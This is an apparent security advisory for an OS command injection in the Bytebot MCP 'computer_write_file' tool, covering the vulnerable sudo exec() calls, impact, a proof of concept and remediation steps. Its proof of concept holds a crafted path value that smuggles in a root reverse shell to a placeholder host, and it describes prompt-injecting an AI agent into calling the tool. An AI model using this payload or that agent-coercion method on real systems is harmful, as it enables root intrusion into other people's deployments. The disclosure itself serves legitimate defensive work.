Vulnerable project: https://github.com/bytebot-ai/bytebot/
- Tested vulnerable commit (latest as of 2026-02-08): https://github.com/bytebot-ai/bytebot/commit/3d37894ce07ef8d8b40adc7fd309ad96c2a71313
- CWE-78: Improper Neutralization of Special Elements used in an OS Command (OS Command Injection)
- Impact: Remote Code Execution (RCE) as root inside the Docker container
- Severity: Critical
- Risk: High
- Service: Bytebot MCP tools (Docker deployment)
- Default exposed port:
9990(MCP tools) - Tool/Action:
computer_write_file - Vulnerable parameter:
path(a.k.a.targetPath)
This issue is exploitable under either of the following common deployment models:
- Direct network exposure
- A Bytebot instance is running and the MCP tools port
9990is reachable (e.g., bound to0.0.0.0on a public server). - If access control/authentication is absent or weak, an attacker can invoke the tool remotely.
- Indirect invocation via an interactive agent (tool abuse / prompt injection)
- Bytebot is integrated as part of an interactive agent application where an LLM can call MCP tools.
- An attacker can coerce the AI agent into calling
computer_write_filewith a maliciouspath, resulting in tool-mediated command execution.
The MCP write-file handler builds shell commands using string interpolation and executes them via exec().
targetPath is derived from user-controlled action.path and embedded into commands such as:
sudo mkdir -p "${dir}"sudo cp "${tempFile}" "${targetPath}"sudo chown user:user "${targetPath}"sudo chmod 644 "${targetPath}"
Because exec() runs through a shell, embedding attacker-controlled input into a command string can lead to OS command injection. Double quotes are not a sufficient defense: shell expansion (e.g., command substitution) can still be evaluated, and quote-breaking is possible if an attacker injects a " character.
Since the commands are executed with sudo, successful exploitation results in code execution as root inside the container.
// Move the file to the target location using sudo
await execAsync(`sudo cp "${tempFile}" "${targetPath}"`);
await execAsync(`sudo chown user:user "${targetPath}"`);
await execAsync(`sudo chmod 644 "${targetPath}"`);- Root RCE inside the container
- Read/write access to container filesystem, environment variables, secrets, mounted volumes, and internal services reachable from the container
- If Docker is misconfigured (e.g., privileged container, dangerous mounts, Docker socket exposed), root-in-container may be leveraged for container escape and potential host compromise
- Run the vulnerable Bytebot deployment so that MCP tools are available (commonly on port
9990). - Invoke
computer_write_filewith any base64dataand a craftedpathvalue that triggers shell evaluation.
Goal: demonstrate command execution without providing a reverse shell.
Example path using command substitution:
test/"; sudo bash -c 'bash -i >& /dev/tcp/<ip>/<port> 0>&1'; echo "
Expected result:
- get a reverse shell of root privilege on the listening machine
- Avoid
exec()with a shell command string that includes user-controlled input.- Use
execFile()/spawn()with argument arrays (no shell), or implement file operations using native filesystem APIs.
- Use
- Remove or strictly scope
sudousage (least privilege). - Add strict validation for
path:- Restrict to an allowlisted base directory and verify the resolved path
- Reject shell metacharacters and expansion tokens (e.g.,
$, backticks, quotes, semicolons, pipes, newlines)
- Add regression tests for malicious
pathvalues.
- Tested vulnerable commit (latest as of 2026-02-08): https://github.com/bytebot-ai/bytebot/commit/3d37894ce07ef8d8b40adc7fd309ad96c2a71313
- CWE-78: https://cwe.mitre.org/data/definitions/78.html